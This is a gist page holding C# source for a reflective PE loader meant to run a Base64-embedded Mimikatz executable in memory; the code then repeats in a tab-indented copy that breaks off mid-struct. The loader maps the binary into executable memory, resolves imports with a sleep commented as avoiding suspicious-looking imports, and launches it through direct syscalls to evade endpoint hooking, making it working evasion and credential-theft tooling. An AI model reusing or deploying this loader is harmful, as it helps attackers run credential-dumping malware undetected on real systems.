S3cur3Th1sSh1t/Syscall_PE_Loader.cs Secret

## Syscall_PE_Loader.cs
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
// Install DInvoke & Fody as Nuget

namespace PELoader
{
    public class peloader
    {
        public static void Main()
        {
            //Base64 encoded Mimikatz executable
            string peAsString = "BASE64 Mimikatz";

            byte[] unpacked = System.Convert.FromBase64String(peAsString);

            PELoader pe = new PELoader(unpacked);

            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            Process currentProcess = Process.GetCurrentProcess();

            IntPtr BaseAddress = IntPtr.Zero;
            Console.WriteLine("Baseaddress {0}", BaseAddress.ToString("X4"));
            var regionsize = (IntPtr)pe.OptionalHeader64.SizeOfImage;

            // Old Code, still PInvoke for VirtualAlloc
            IntPtr codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
            Console.WriteLine("Size of Image to allocate {0} ", pe.OptionalHeader64.SizeOfImage);
            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), BaseAddress.ToString("X4"));
            IntPtr newaddress = IntPtr.Zero;

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                Console.WriteLine("Size of binary region to copy {0} ", pe.ImageSectionHeaders[i].SizeOfRawData);
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table


            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

            int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry = relocationTable;
            int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset = relocationTable;

            while (true)
            {

                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {

                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                        case 0x0:
                            break;
                        case 0xA:
                            patchAddr = IntPtr.Add(dest, fixup);
                            //Add Delta To Location.
                            long originalAddr = Marshal.ReadInt64(patchAddr);
                            Marshal.WriteInt64(patchAddr, originalAddr + delta);
                            break;

                    }

                }

                offset = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0) break;


            }


            //Resolve Imports

            IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "") { break; }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                // Sleep to avoid fast suspicious imports
                Thread.Sleep(5000);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "") break;

                }
                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing loaded PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);

            // SYSCALL CreateThreadEx
            IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
            NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

            ntCreateThreadEx(out IntPtr hThread, DInvoke.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, currentProcess.Handle, threadStart, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

            // The old method
            //IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            // SYSCALL NtWaitForSingleObject
            stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWaitForSingleObject");
            NtWaitForSingleObject ntWaitForSingleObject = (NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWaitForSingleObject));
            DInvoke.Data.Native.NTSTATUS result = ntWaitForSingleObject(hThread, false, 0);

            // The old method
            //NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();

        } //End Main

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate DInvoke.Data.Native.NTSTATUS NtWaitForSingleObject(
        IntPtr Handle,
        Boolean Alertable,
        UInt32 Timeout);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate DInvoke.Data.Native.NTSTATUS NtCreateThreadEx(
        out IntPtr threadHandle,
        DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess,
        IntPtr objectAttributes,
        IntPtr processHandle,
        IntPtr startAddress,
        IntPtr parameter,
        bool createSuspended,
        int stackZeroBits,
        int sizeOfStack,
        int maximumStackSize,
        IntPtr attributeList);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        IntPtr ZeroBits,
        ref IntPtr RegionSize,
        UInt32 AllocationType,
        UInt32 Protect);
    }//End Program

    public class PELoader
    {
        public struct IMAGE_DOS_HEADER
        {      // DOS .EXE header
            public UInt16 e_magic;              // Magic number
            public UInt16 e_cblp;               // Bytes on last page of file
            public UInt16 e_cp;                 // Pages in file
            public UInt16 e_crlc;               // Relocations
            public UInt16 e_cparhdr;            // Size of header in paragraphs
            public UInt16 e_minalloc;           // Minimum extra paragraphs needed
            public UInt16 e_maxalloc;           // Maximum extra paragraphs needed
            public UInt16 e_ss;                 // Initial (relative) SS value
            public UInt16 e_sp;                 // Initial SP value
            public UInt16 e_csum;               // Checksum
            public UInt16 e_ip;                 // Initial IP value
            public UInt16 e_cs;                 // Initial (relative) CS value
            public UInt16 e_lfarlc;             // File address of relocation table
            public UInt16 e_ovno;               // Overlay number
            public UInt16 e_res_0;              // Reserved words
            public UInt16 e_res_1;              // Reserved words
            public UInt16 e_res_2;              // Reserved words
            public UInt16 e_res_3;              // Reserved words
            public UInt16 e_oemid;              // OEM identifier (for e_oeminfo)
            public UInt16 e_oeminfo;            // OEM information; e_oemid specific
            public UInt16 e_res2_0;             // Reserved words
            public UInt16 e_res2_1;             // Reserved words
            public UInt16 e_res2_2;             // Reserved words
            public UInt16 e_res2_3;             // Reserved words
            public UInt16 e_res2_4;             // Reserved words
            public UInt16 e_res2_5;             // Reserved words
            public UInt16 e_res2_6;             // Reserved words
            public UInt16 e_res2_7;             // Reserved words
            public UInt16 e_res2_8;             // Reserved words
            public UInt16 e_res2_9;             // Reserved words
            public UInt32 e_lfanew;             // File address of new exe header
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_DATA_DIRECTORY
        {
            public UInt32 VirtualAddress;
            public UInt32 Size;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_OPTIONAL_HEADER32
        {
            public UInt16 Magic;
            public Byte MajorLinkerVersion;
            public Byte MinorLinkerVersion;
            public UInt32 SizeOfCode;
            public UInt32 SizeOfInitializedData;
            public UInt32 SizeOfUninitializedData;
            public UInt32 AddressOfEntryPoint;
            public UInt32 BaseOfCode;
            public UInt32 BaseOfData;
            public UInt32 ImageBase;
            public UInt32 SectionAlignment;
            public UInt32 FileAlignment;
            public UInt16 MajorOperatingSystemVersion;
            public UInt16 MinorOperatingSystemVersion;
            public UInt16 MajorImageVersion;
            public UInt16 MinorImageVersion;
            public UInt16 MajorSubsystemVersion;
            public UInt16 MinorSubsystemVersion;
            public UInt32 Win32VersionValue;
            public UInt32 SizeOfImage;
            public UInt32 SizeOfHeaders;
            public UInt32 CheckSum;
            public UInt16 Subsystem;
            public UInt16 DllCharacteristics;
            public UInt32 SizeOfStackReserve;
            public UInt32 SizeOfStackCommit;
            public UInt32 SizeOfHeapReserve;
            public UInt32 SizeOfHeapCommit;
            public UInt32 LoaderFlags;
            public UInt32 NumberOfRvaAndSizes;

            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Reserved;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_OPTIONAL_HEADER64
        {
            public UInt16 Magic;
            public Byte MajorLinkerVersion;
            public Byte MinorLinkerVersion;
            public UInt32 SizeOfCode;
            public UInt32 SizeOfInitializedData;
            public UInt32 SizeOfUninitializedData;
            public UInt32 AddressOfEntryPoint;
            public UInt32 BaseOfCode;
            public UInt64 ImageBase;
            public UInt32 SectionAlignment;
            public UInt32 FileAlignment;
            public UInt16 MajorOperatingSystemVersion;
            public UInt16 MinorOperatingSystemVersion;
            public UInt16 MajorImageVersion;
            public UInt16 MinorImageVersion;
            public UInt16 MajorSubsystemVersion;
            public UInt16 MinorSubsystemVersion;
            public UInt32 Win32VersionValue;
            public UInt32 SizeOfImage;
            public UInt32 SizeOfHeaders;
            public UInt32 CheckSum;
            public UInt16 Subsystem;
            public UInt16 DllCharacteristics;
            public UInt64 SizeOfStackReserve;
            public UInt64 SizeOfStackCommit;
            public UInt64 SizeOfHeapReserve;
            public UInt64 SizeOfHeapCommit;
            public UInt32 LoaderFlags;
            public UInt32 NumberOfRvaAndSizes;

            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Reserved;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_FILE_HEADER
        {
            public UInt16 Machine;
            public UInt16 NumberOfSections;
            public UInt32 TimeDateStamp;
            public UInt32 PointerToSymbolTable;
            public UInt32 NumberOfSymbols;
            public UInt16 SizeOfOptionalHeader;
            public UInt16 Characteristics;
        }

        [StructLayout(LayoutKind.Explicit)]
        public struct IMAGE_SECTION_HEADER
        {
            [FieldOffset(0)]
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
            public char[] Name;
            [FieldOffset(8)]
            public UInt32 VirtualSize;
            [FieldOffset(12)]
            public UInt32 VirtualAddress;
            [FieldOffset(16)]
            public UInt32 SizeOfRawData;
            [FieldOffset(20)]
            public UInt32 PointerToRawData;
            [FieldOffset(24)]
            public UInt32 PointerToRelocations;
            [FieldOffset(28)]
            public UInt32 PointerToLinenumbers;
            [FieldOffset(32)]
            public UInt16 NumberOfRelocations;
            [FieldOffset(34)]
            public UInt16 NumberOfLinenumbers;
            [FieldOffset(36)]
            public DataSectionFlags Characteristics;

            public string Section
            {
                get { return new string(Name); }
            }
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_BASE_RELOCATION
        {
            public uint VirtualAdress;
            public uint SizeOfBlock;
        }

        [Flags]
        public enum DataSectionFlags : uint
        {

            Stub = 0x00000000,

        }


        /// The DOS header

        private IMAGE_DOS_HEADER dosHeader;

        /// The file header

        private IMAGE_FILE_HEADER fileHeader;

        /// Optional 32 bit file header

        private IMAGE_OPTIONAL_HEADER32 optionalHeader32;

        /// Optional 64 bit file header

        private IMAGE_OPTIONAL_HEADER64 optionalHeader64;

        /// Image Section headers. Number of sections is in the file header.

        private IMAGE_SECTION_HEADER[] imageSectionHeaders;

        private byte[] rawbytes;


        public PELoader(string filePath)
        {
            // Read in the DLL or EXE and get the timestamp
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
                }


                rawbytes = System.IO.File.ReadAllBytes(filePath);

            }
        }

        public PELoader(byte[] fileBytes)
        {
            // Read in the DLL or EXE and get the timestamp
            using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
                }


                rawbytes = fileBytes;

            }
        }


        public static T FromBinaryReader<T>(BinaryReader reader)
        {
            // Read in a byte array
            byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));

            // Pin the managed memory while, copy it out the data, then unpin it
            GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
            T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
            handle.Free();

            return theStructure;
        }


        public bool Is32BitHeader
        {
            get
            {
                UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
                return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
            }
        }


        public IMAGE_FILE_HEADER FileHeader
        {
            get
            {
                return fileHeader;
            }
        }


        /// Gets the optional header

        public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
        {
            get
            {
                return optionalHeader32;
            }
        }


        /// Gets the optional header

        public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
        {
            get
            {
                return optionalHeader64;
            }
        }

        public IMAGE_SECTION_HEADER[] ImageSectionHeaders
        {
            get
            {
                return imageSectionHeaders;
            }
        }

        public byte[] RawBytes
        {
            get
            {
                return rawbytes;
            }

        }

    }//End Class


    class NativeDeclarations
    {

        public static uint MEM_COMMIT = 0x1000;
        public static uint MEM_RESERVE = 0x2000;
        public static uint PAGE_EXECUTE_READWRITE = 0x40;
        public static uint PAGE_READWRITE = 0x04;

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_BASE_RELOCATION
        {
            public uint VirtualAdress;
            public uint SizeOfBlock;
        }

        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_IMPORT_DESCRIPTOR
        {
            public uint OriginalFirstThunk;
            public uint TimeDateStamp;
            public uint ForwarderChain;
            public uint Name;
            public uint FirstThunk;
        }


    }
}
	using System;
	using System.IO;
	using System.Net;
	using System.Text;
	using System.IO.Compression;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Diagnostics;
	using System.Threading;
	// Install DInvoke & Fody as Nuget

	namespace PELoader
	{
	public class peloader
	{
	public static void Main()
	{
	//Base64 encoded Mimikatz executable
	string peAsString = "BASE64 Mimikatz";

	byte[] unpacked = System.Convert.FromBase64String(peAsString);

	PELoader pe = new PELoader(unpacked);

	Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

	Process currentProcess = Process.GetCurrentProcess();

	IntPtr BaseAddress = IntPtr.Zero;
	Console.WriteLine("Baseaddress {0}", BaseAddress.ToString("X4"));
	var regionsize = (IntPtr)pe.OptionalHeader64.SizeOfImage;

	// Old Code, still PInvoke for VirtualAlloc
	IntPtr codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
	Console.WriteLine("Size of Image to allocate {0} ", pe.OptionalHeader64.SizeOfImage);
	Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), BaseAddress.ToString("X4"));
	IntPtr newaddress = IntPtr.Zero;

	//Copy Sections
	for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
	{
	Console.WriteLine("Size of binary region to copy {0} ", pe.ImageSectionHeaders[i].SizeOfRawData);
	IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
	Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
	Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
	}

	//Perform Base Relocation
	//Calculate Delta
	long currentbase = (long)codebase.ToInt64();
	long delta;

	delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


	Console.WriteLine("Delta = {0}", delta.ToString("X4"));

	//Modify Memory Based On Relocation Table


	IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

	NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
	relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

	int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
	IntPtr nextEntry = relocationTable;
	int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
	IntPtr offset = relocationTable;

	while (true)
	{

	NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
	IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
	relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


	IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


	//Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
	//Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

	for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
	{

	IntPtr patchAddr;
	UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

	UInt16 type = (UInt16)(value >> 12);
	UInt16 fixup = (UInt16)(value & 0xfff);
	//Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

	switch (type)
	{
	case 0x0:
	break;
	case 0xA:
	patchAddr = IntPtr.Add(dest, fixup);
	//Add Delta To Location.
	long originalAddr = Marshal.ReadInt64(patchAddr);
	Marshal.WriteInt64(patchAddr, originalAddr + delta);
	break;

	}

	}

	offset = IntPtr.Add(relocationTable, sizeofNextBlock);
	sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
	relocationEntry = relocationNextEntry;

	nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

	if (relocationNextEntry.SizeOfBlock == 0) break;


	}


	//Resolve Imports

	IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
	IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
	int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

	//Get And Display Each DLL To Load
	for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
	{
	IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
	int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
	IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
	IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
	string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
	if (DllName == "") { break; }

	IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
	Console.WriteLine("Loaded {0}", DllName);
	// Sleep to avoid fast suspicious imports
	Thread.Sleep(5000);
	for (int k = 1; k < 9999; k++)
	{
	IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
	string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
	//Console.WriteLine("Function {0}", DllFuncName);
	IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
	Marshal.WriteInt64(a2, (long)funcAddy);
	a2 = IntPtr.Add(a2, 8);
	if (DllFuncName == "") break;

	}
	//Console.ReadLine();
	}

	//Transfer Control To OEP
	Console.WriteLine("Executing loaded PE");
	IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);

	// SYSCALL CreateThreadEx
	IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
	NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

	ntCreateThreadEx(out IntPtr hThread, DInvoke.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, currentProcess.Handle, threadStart, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

	// The old method
	//IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

	// SYSCALL NtWaitForSingleObject
	stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWaitForSingleObject");
	NtWaitForSingleObject ntWaitForSingleObject = (NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWaitForSingleObject));
	DInvoke.Data.Native.NTSTATUS result = ntWaitForSingleObject(hThread, false, 0);

	// The old method
	//NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

	Console.WriteLine("Thread Complete");
	//Console.ReadLine();

	} //End Main

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	delegate DInvoke.Data.Native.NTSTATUS NtWaitForSingleObject(
	IntPtr Handle,
	Boolean Alertable,
	UInt32 Timeout);

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	public delegate DInvoke.Data.Native.NTSTATUS NtCreateThreadEx(
	out IntPtr threadHandle,
	DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess,
	IntPtr objectAttributes,
	IntPtr processHandle,
	IntPtr startAddress,
	IntPtr parameter,
	bool createSuspended,
	int stackZeroBits,
	int sizeOfStack,
	int maximumStackSize,
	IntPtr attributeList);

	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	public delegate DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory(
	IntPtr ProcessHandle,
	ref IntPtr BaseAddress,
	IntPtr ZeroBits,
	ref IntPtr RegionSize,
	UInt32 AllocationType,
	UInt32 Protect);
	}//End Program

	public class PELoader
	{
	public struct IMAGE_DOS_HEADER
	{ // DOS .EXE header
	public UInt16 e_magic; // Magic number
	public UInt16 e_cblp; // Bytes on last page of file
	public UInt16 e_cp; // Pages in file
	public UInt16 e_crlc; // Relocations
	public UInt16 e_cparhdr; // Size of header in paragraphs
	public UInt16 e_minalloc; // Minimum extra paragraphs needed
	public UInt16 e_maxalloc; // Maximum extra paragraphs needed
	public UInt16 e_ss; // Initial (relative) SS value
	public UInt16 e_sp; // Initial SP value
